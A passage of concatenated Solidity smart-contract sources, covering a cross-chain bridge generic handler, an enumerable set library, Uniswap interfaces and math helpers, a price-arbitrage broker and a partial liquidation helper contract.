deposit executions. @author ChainSafe Systems. */ interface IGenericHandler { /** @notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. @param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made. @param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed. */ function setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) external; } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./IGenericHandler.sol"; /** @title Handles generic deposits and deposit executions. @author ChainSafe Systems. @notice This contract is intended to be used with the Bridge contract. */ contract GenericHandler is IGenericHandler { address public _bridgeAddress; struct DepositRecord { uint8 _destinationChainID; address _depositer; bytes32 _resourceID; bytes _metaData; } // depositNonce => Deposit Record mapping(uint8 => mapping(uint64 => DepositRecord)) public _depositRecords; // resourceID => contract address mapping(bytes32 => address) public _resourceIDToContractAddress; // contract address => resourceID mapping(address => bytes32) public _contractAddressToResourceID; // contract address => deposit function signature mapping(address => bytes4) public _contractAddressToDepositFunctionSignature; // contract address => execute proposal function signature mapping(address => bytes4) public _contractAddressToExecuteFunctionSignature; // token contract address => is whitelisted mapping(address => bool) public _contractWhitelist; modifier onlyBridge() { _onlyBridge(); _; } function _onlyBridge() private { require(msg.sender == _bridgeAddress, "sender must be bridge contract"); } /** @param bridgeAddress Contract address of previously deployed Bridge. @param initialResourceIDs Resource IDs used to identify a specific contract address. These are the Resource IDs this contract will initially support. @param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be called to perform deposit and execution calls. @param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to, and are the function that will be called when executing {deposit} @param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to, and are the function that will be called when executing {executeProposal} @dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures}, and {initialExecuteFunctionSignatures} must all have the same length. Also, values must be ordered in the way that that index x of any mentioned array must be intended for value x of any other array, e.g. {initialContractAddresses}[0] is the intended address for {initialDepositFunctionSignatures}[0]. */ constructor( address bridgeAddress, bytes32[] memory initialResourceIDs, address[] memory initialContractAddresses, bytes4[] memory initialDepositFunctionSignatures, bytes4[] memory initialExecuteFunctionSignatures ) public { require( initialResourceIDs.length == initialContractAddresses.length, "initialResourceIDs and initialContractAddresses len mismatch" ); require( initialContractAddresses.length == initialDepositFunctionSignatures.length, "provided contract addresses and function signatures len mismatch" ); require( initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length, "provided deposit and execute function signatures len mismatch" ); _bridgeAddress = bridgeAddress; for (uint256 i = 0; i < initialResourceIDs.length; i++) { _setResource( initialResourceIDs[i], initialContractAddresses[i], initialDepositFunctionSignatures[i], initialExecuteFunctionSignatures[i] ); } } /** @param depositNonce This ID will have been generated by the Bridge contract. @param destId ID of chain deposit will be bridged to. @return DepositRecord which consists of: - _destinationChainID ChainID deposited tokens are intended to end up on. - _resourceID ResourceID used when {deposit} was executed. - _depositer Address that initially called {deposit} in the Bridge contract. - _metaData Data to be passed to method executed in corresponding {resourceID} contract. */ function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) { return _depositRecords[destId][depositNonce]; } /** @notice First verifies {_resourceIDToContractAddress}[{resourceID}] and {_contractAddressToResourceID}[{contractAddress}] are not already set, then sets {_resourceIDToContractAddress} with {contractAddress}, {_contractAddressToResourceID} with {resourceID}, {_contractAddressToDepositFunctionSignature} with {depositFunctionSig}, {_contractAddressToExecuteFunctionSignature} with {executeFunctionSig}, and {_contractWhitelist} to true for {contractAddress}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. @param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made. @param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed. */ function setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) external override onlyBridge { _setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig); } /** @notice A deposit is initiatied by making a deposit in the Bridge contract. @param destinationChainID Chain ID deposit is expected to be bridged to. @param depositNonce This value is generated as an ID by the Bridge contract. @param depositer Address of account making the deposit in the Bridge contract. @param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes. @notice Data passed into the function should be constructed as follows: len(data) uint256 bytes 0 - 32 data bytes bytes 64 - END @notice {contractAddress} is required to be whitelisted @notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set, {metaData} is expected to consist of needed function arguments. */ function deposit( bytes32 resourceID, uint8 destinationChainID, uint64 depositNonce, address depositer, bytes calldata data ) external onlyBridge { bytes32 lenMetadata; bytes memory metadata; assembly { // Load length of metadata from data + 64 lenMetadata := calldataload(0xC4) // Load free memory pointer metadata := mload(0x40) mstore(0x40, add(0x20, add(metadata, lenMetadata))) // func sig (4) + destinationChainId (padded to 32) + depositNonce (32) + depositor (32) + // bytes length (32) + resourceId (32) + length (32) = 0xC4 calldatacopy( metadata, // copy to metadata 0xC4, // copy from calldata after metadata length declaration @0xC4 sub(calldatasize(), 0xC4) // copy size (calldatasize - (0xC4 + the space metaData takes up)) ) } address contractAddress = _resourceIDToContractAddress[resourceID]; require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted"); bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress]; if (sig != bytes4(0)) { bytes memory callData = abi.encodePacked(sig, metadata); (bool success, ) = contractAddress.call(callData); require(success, "delegatecall to contractAddress failed"); } _depositRecords[destinationChainID][depositNonce] = DepositRecord( destinationChainID, depositer, resourceID, metadata ); } /** @notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract. @param data Consists of {resourceID}, {lenMetaData}, and {metaData}. @notice Data passed into the function should be constructed as follows: len(data) uint256 bytes 0 - 32 data bytes bytes 32 - END @notice {contractAddress} is required to be whitelisted @notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set, {metaData} is expected to consist of needed function arguments. */ function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge { bytes memory metaData; assembly { // metadata has variable length // load free memory pointer to store metadata metaData := mload(0x40) // first 32 bytes of variable length in storage refer to length let lenMeta := calldataload(0x64) mstore(0x40, add(0x60, add(metaData, lenMeta))) // in the calldata, metadata is stored @0x64 after accounting for function signature, and 2 previous params calldatacopy( metaData, // copy to metaData 0x64, // copy from calldata after data length declaration at 0x64 sub(calldatasize(), 0x64) // copy size (calldatasize - 0x64) ) } address contractAddress = _resourceIDToContractAddress[resourceID]; require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted"); bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress]; if (sig != bytes4(0)) { bytes memory callData = abi.encodePacked(sig, metaData); (bool success, ) = contractAddress.call(callData); require(success, "delegatecall to contractAddress failed"); } } function _setResource( bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig ) internal { _resourceIDToContractAddress[resourceID] = contractAddress; _contractAddressToResourceID[contractAddress] = resourceID; _contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig; _contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig; _contractWhitelist[contractAddress] = true; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../interfaces/VotingInterface.sol"; import "../VoteTiming.sol"; // Wraps the library VoteTiming for testing purposes. contract VoteTimingTest { using VoteTiming for VoteTiming.Data; VoteTiming.Data public voteTiming; constructor(uint256 phaseLength) public { wrapInit(phaseLength); } function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) { return voteTiming.computeCurrentRoundId(currentTime); } function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingAncillaryInterface.Phase) { return voteTiming.computeCurrentPhase(currentTime); } function wrapInit(uint256 phaseLength) public { voteTiming.init(phaseLength); } } pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/lib/contracts/libraries/Babylonian.sol"; import "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import "@uniswap/lib/contracts/libraries/FullMath.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; /** * @title UniswapBroker * @notice Trading contract used to arb uniswap pairs to a desired "true" price. Intended use is to arb UMA perpetual * synthetics that trade off peg. This implementation can ber used in conjunction with a DSProxy contract to atomically * swap and move a uniswap market. */ contract UniswapBroker { using SafeMath for uint256; /** * @notice Swaps an amount of either token such that the trade results in the uniswap pair's price being as close as * possible to the truePrice. * @dev True price is expressed in the ratio of token A to token B. * @dev The caller must approve this contract to spend whichever token is intended to be swapped. * @param tradingAsEOA bool to indicate if the UniswapBroker is being called by a DSProxy or an EOA. * @param uniswapRouter address of the uniswap router used to facilitate trades. * @param uniswapFactory address of the uniswap factory used to fetch current pair reserves. * @param swappedTokens array of addresses which are to be swapped. The order does not matter as the function will figure * out which tokens need to be exchanged to move the market to the desired "true" price. * @param truePriceTokens array of unit used to represent the true price. 0th value is the numerator of the true price * and the 1st value is the the denominator of the true price. * @param maxSpendTokens array of unit to represent the max to spend in the two tokens. * @param to recipient of the trade proceeds. * @param deadline to limit when the trade can execute. If the tx is mined after this timestamp then revert. */ function swapToPrice( bool tradingAsEOA, address uniswapRouter, address uniswapFactory, address[2] memory swappedTokens, uint256[2] memory truePriceTokens, uint256[2] memory maxSpendTokens, address to, uint256 deadline ) public { IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter); // true price is expressed as a ratio, so both values must be non-zero require(truePriceTokens[0] != 0 && truePriceTokens[1] != 0, "SwapToPrice: ZERO_PRICE"); // caller can specify 0 for either if they wish to swap in only one direction, but not both require(maxSpendTokens[0] != 0 || maxSpendTokens[1] != 0, "SwapToPrice: ZERO_SPEND"); bool aToB; uint256 amountIn; { (uint256 reserveA, uint256 reserveB) = getReserves(uniswapFactory, swappedTokens[0], swappedTokens[1]); (aToB, amountIn) = computeTradeToMoveMarket(truePriceTokens[0], truePriceTokens[1], reserveA, reserveB); } require(amountIn > 0, "SwapToPrice: ZERO_AMOUNT_IN"); // spend up to the allowance of the token in uint256 maxSpend = aToB ? maxSpendTokens[0] : maxSpendTokens[1]; if (amountIn > maxSpend) { amountIn = maxSpend; } address tokenIn = aToB ? swappedTokens[0] : swappedTokens[1]; address tokenOut = aToB ? swappedTokens[1] : swappedTokens[0]; TransferHelper.safeApprove(tokenIn, address(router), amountIn); if (tradingAsEOA) TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn); address[] memory path = new address[](2); path[0] = tokenIn; path[1] = tokenOut; router.swapExactTokensForTokens( amountIn, 0, // amountOutMin: we can skip computing this number because the math is tested within the uniswap tests. path, to, deadline ); } /** * @notice Given the "true" price a token (represented by truePriceTokenA/truePriceTokenB) and the reservers in the * uniswap pair, calculate: a) the direction of trade (aToB) and b) the amount needed to trade (amountIn) to move * the pool price to be equal to the true price. * @dev Note that this method uses the Babylonian square root method which has a small margin of error which will * result in a small over or under estimation on the size of the trade needed. * @param truePriceTokenA the nominator of the true price. * @param truePriceTokenB the denominator of the true price. * @param reserveA number of token A in the pair reserves * @param reserveB number of token B in the pair reserves */ // function computeTradeToMoveMarket( uint256 truePriceTokenA, uint256 truePriceTokenB, uint256 reserveA, uint256 reserveB ) public pure returns (bool aToB, uint256 amountIn) { aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA; uint256 invariant = reserveA.mul(reserveB); // The trade ∆a of token a required to move the market to some desired price P' from the current price P can be // found with ∆a=(kP')^1/2-Ra. uint256 leftSide = Babylonian.sqrt( FullMath.mulDiv( invariant, aToB ? truePriceTokenA : truePriceTokenB, aToB ? truePriceTokenB : truePriceTokenA ) ); uint256 rightSide = (aToB ? reserveA : reserveB); if (leftSide < rightSide) return (false, 0); // compute the amount that must be sent to move the price back to the true price. amountIn = leftSide.sub(rightSide); } // The methods below are taken from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol // We could import this library into this contract but this library is dependent Uniswap's SafeMath, which is bound // to solidity 6.6.6. Hardhat can easily deal with two different sets of solidity versions within one project so // unit tests would continue to work fine. However, this would break truffle support in the repo as truffle cant // handel having two different solidity versions. As a work around, the specific methods needed in the UniswapBroker // are simply moved here to maintain truffle support. function getReserves( address factory, address tokenA, address tokenB ) public view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address tokenA, address tokenB ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash ) ) ) ); } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // SPDX-License-Identifier: CC-BY-4.0 pragma solidity >=0.4.0; // taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1 // license is CC-BY-4.0 library FullMath { function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; if (h == 0) return l / d; require(h < d, 'FullMath: FULLDIV_OVERFLOW'); return fullDiv(l, h, d); } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title ReserveCurrencyLiquidator * @notice Helper contract to enable a liquidator to hold one reserver currency and liquidate against any number of * financial contracts. Is assumed to be called by a DSProxy which holds reserve currency. */ contract ReserveCurrencyLiquidator { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; /** * @notice Swaps required amount of reserve currency to collateral currency which is then used to mint tokens to * liquidate a position within one transaction. * @dev After the liquidation is done the DSProxy that called this method will have an open position AND pending * liquidation within the financial contract. The bot using the DSProxy should withdraw the liquidation once it has * passed liveness. At this point the position can be manually unwound. * @dev Any synthetics & collateral that the DSProxy already has are considered in the amount swapped and minted. * These existing tokens will be used first before any swaps or mints are done. * @dev If there is a token shortfall (either from not enough reserve to buy sufficient collateral or not enough * collateral to begins with or due to slippage) the script will liquidate as much as possible given the reserves. * @param uniswapRouter address of the uniswap router used to facilitate trades. * @param financialContract address of the financial contract on which the liquidation is occurring. * @param reserveCurrency address of the token to swap for collateral. THis is the common currency held by the DSProxy. * @param liquidatedSponsor address of the sponsor to be liquidated. * @param maxReserveTokenSpent maximum number of reserve tokens to spend in the trade. Bounds slippage. * @param minCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. For a full liquidation this is the full position debt. * @param deadline abort the trade and liquidation if the transaction is mined after this timestamp. **/ function swapMintLiquidate( address uniswapRouter, address financialContract, address reserveCurrency, address liquidatedSponsor, FixedPoint.Unsigned calldata maxReserveTokenSpent, FixedPoint.Unsigned calldata minCollateralPerTokenLiquidated, FixedPoint.Unsigned calldata maxCollateralPerTokenLiquidated, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) public { IFinancialContract fc = IFinancialContract(financialContract); // 1. Calculate the token shortfall. This is the synthetics to liquidate minus any synthetics the DSProxy already // has. If this number is negative(balance large than synthetics to liquidate) the return 0 (no shortfall). FixedPoint.Unsigned memory tokenShortfall = subOrZero(maxTokensToLiquidate, getSyntheticBalance(fc)); // 2. Calculate how much collateral is needed to make up the token shortfall from minting new synthetics. FixedPoint.Unsigned memory gcr = fc.pfc().divCeil(fc.totalTokensOutstanding()); FixedPoint.Unsigned memory collateralToMintShortfall = tokenShortfall.mulCeil(gcr); // 3. Calculate the total collateral required. This considers the final fee for the given collateral type + any // collateral needed to mint the token short fall. FixedPoint.Unsigned memory totalCollateralRequired = getFinalFee(fc).add(collateralToMintShortfall); // 4.a. Calculate how much collateral needs to be purchased. If the DSProxy already has some collateral then this // will factor this in. If the DSProxy has more collateral than the total amount required the purchased = 0. FixedPoint.Unsigned memory collateralToBePurchased = subOrZero(totalCollateralRequired, getCollateralBalance(fc)); // 4.b. If there is some collateral to be purchased, execute a trade on uniswap to meet the shortfall. // Note the path assumes a direct route from the reserve currency to the collateral currency. if (collateralToBePurchased.isGreaterThan(0) && reserveCurrency != fc.collateralCurrency()) { IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter); address[] memory path = new address[](2); path[0] = reserveCurrency; path[1] = fc.collateralCurrency(); TransferHelper.safeApprove(reserveCurrency, address(router), maxReserveTokenSpent.rawValue); router.swapTokensForExactTokens( collateralToBePurchased.rawValue, maxReserveTokenSpent.rawValue, path, address(this), deadline ); } // 4.c. If at this point we were not able to get the required amount of collateral (due to insufficient reserve // or not enough collateral in the contract) the script should try to liquidate as much as it can regardless. // Update the values of total collateral to the current collateral balance and re-compute the tokenShortfall // as the maximum tokens that could be liquidated at the current GCR. if (totalCollateralRequired.isGreaterThan(getCollateralBalance(fc))) { totalCollateralRequired = getCollateralBalance(fc); collateralToMintShortfall = totalCollateralRequired.sub(getFinalFee(fc)); tokenShortfall = collateralToMintShortfall.divCeil(gcr); } // 5. Mint the shortfall synthetics with collateral. Note we are minting at the GCR. // If the DSProxy already has enough tokens (tokenShortfall = 0) we still preform the approval on the collateral // currency as this is needed to pay the final fee in the liquidation tx. TransferHelper.safeApprove(fc.collateralCurrency(), address(fc), totalCollateralRequired.rawValue); if (tokenShortfall.isGreaterThan(0)) fc.create(collateralToMintShortfall, tokenShortfall); // The liquidatableTokens is either the maxTokensToLiquidate (if we were able to 